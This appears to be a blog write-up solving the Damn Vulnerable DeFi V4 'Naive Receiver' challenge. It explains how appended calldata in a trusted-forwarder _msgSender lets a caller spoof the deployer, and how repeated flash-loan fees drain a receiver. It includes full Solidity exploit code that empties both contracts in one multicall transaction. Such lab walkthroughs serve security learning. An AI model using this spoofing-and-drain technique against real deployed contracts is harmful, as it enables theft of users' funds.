Damn Vulnerable DeFi V4 - 02 Naive Receiver


Challenge

There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.

A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.

All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.

function _isSolved() private view {
    // Player must have executed two or less transactions
    assertLe(vm.getNonce(player), 2);

    // The flashloan receiver contract has been emptied
    assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");

    // Pool is empty too
    assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");

    // All funds sent to recovery account
    assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}

Solve

To drain the WETH balance of the NaiveReceiverPool and FlashLoanReceiver contracts, first let’s see if there is any relevant code that can trigger this.

There are three potential code snippets allow to do that:

  1. weth.transfer(address(receiver), amount) in NaiveReceiverPool.flashloan() function.

  2. weth.transferFrom(address(receiver), address(this), amountWithFee) in NaiveReceiverPool.flashloan() function.

  3. weth.transfer(receiver, amount) in NaiveReceiverPool.withdraw() function.

The snippet1 and snippet2 is unexploitable, because it is a bug-free flashloan logic code. We need to find a way exploit NaiveReceiverPool.withdraw() function.

In order to be able to withdraw all the WETH amount held by the NaiveReceiverPool contract when calling the NaiveReceiverPool.withdraw() function, we must find a way to forge enough deposits amount.

The _msgSender() function provided a way to let us forge arbitrary msg.sender address, as long as the msg.sender is BasicForwarder contract.

function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) { //@audit exploitable!
        return address(bytes20(msg.data[msg.data.length - 20:])); //@audit exploitable!
    } else {
        return super._msgSender();
    }
}

We can use the BasicForwarder.execute() function to forge the _msgSender() of the deployer (note: deposits[deployer] == 1000e18) to initiate a withdraw() function call to NaiveReceiverPool contract.

The second problem is: How do we drain FlashLoanReceiver contract’s WETH balance? The FlashLoanReceiver doesn’t have any external function to allow us to do that.

The solution is that we set the flashloan receiver to the FlashLoanReceiver contract by initiating a flashLoan() call, then the NaiveReceiverPool contract will charge a FIXED_FEE of 1e18 WETH from the FlashLoanReceiver contract.

function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
    external
    returns (bool)
{
    if (token != address(weth)) revert UnsupportedCurrency();

    // Transfer WETH and handle control to receiver
    weth.transfer(address(receiver), amount);
    totalDeposits -= amount;

    if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
        revert CallbackFailed();
    }

    uint256 amountWithFee = amount + FIXED_FEE;
    weth.transferFrom(address(receiver), address(this), amountWithFee); //@audit set `receiver` as the `FlashLoanReceiver` contract!
    totalDeposits += amountWithFee;

    deposits[feeReceiver] += FIXED_FEE;

    return true;
}

It is known that FlashLoanReceiver holds 10e18 WETH, so we only need to initiate 10 flashLoan(receiver=FlashLoanReceiver) calls to transfer all WETH of FlashLoanReceiver to NaiveReceiverPool contract, and then we can call withdraw() function using the above method.

However, we encounter third problem: the _isSolved() function limits the player to only initiate 2 transactions, but it seems we have exceeded the limit:

function _isSolved() private view {
        // Player must have executed two or less transactions
        assertLe(vm.getNonce(player), 2);
        ...
}
  1. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  2. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  3. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  4. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  5. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  6. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  7. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  8. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  9. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  10. pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")

  11. pool.withdraw(amount=1010e18, receiver=address(recovery))

The solution is that we can use the multicall(bytes[] calldata data) function of the abstract contract Multicall inherited by NaiveReceiverPool to package multiple transactions.

data[0] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[1] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[2] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[3] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[4] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[5] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[6] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[7] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[8] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[9] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[10] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[11] = pool.withdraw(amount=1010e18, receiver=address(recovery))

pool.multicall(data)

Finally, combined with the BasicForwarder.execute() function, we can successfully withdraw WETH to the recovery account and use only 1 transaction.

Full solution code:

function test_naiveReceiver2() public checkSolvedByPlayer {
    bytes[] memory data = new bytes[](11);
    BasicForwarder.Request memory request;
    bytes memory signature;

    //---------------

    data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
    data[10] = abi.encodePacked(abi.encodeCall(pool.withdraw, (1010e18, payable(recovery))), deployer);

    //---------------

    request = BasicForwarder.Request({
        from: player,
        target: address(pool),
        value: 0, // we don't need to send eth
        gas: 30000000, // block gas limit
        nonce: 0,
        data: abi.encodeCall(pool.multicall, (data)),
        deadline: type(uint256).max // no deadline needed
    });

    //---------------

    bytes32 digest = keccak256(abi.encodePacked(
        "\x19\x01",
        forwarder.domainSeparator(),
        forwarder.getDataHash(request)
    ));

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);

    signature = abi.encodePacked(r, s, v);

    //---------------

    forwarder.execute(request, signature);
}

Potential Patches

None, this level is just designed for fun.

Remove weird codes 🗿🗿.

// This will break the game
function _msgSender() internal view override returns (address) {
    return super._msgSender();
}
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣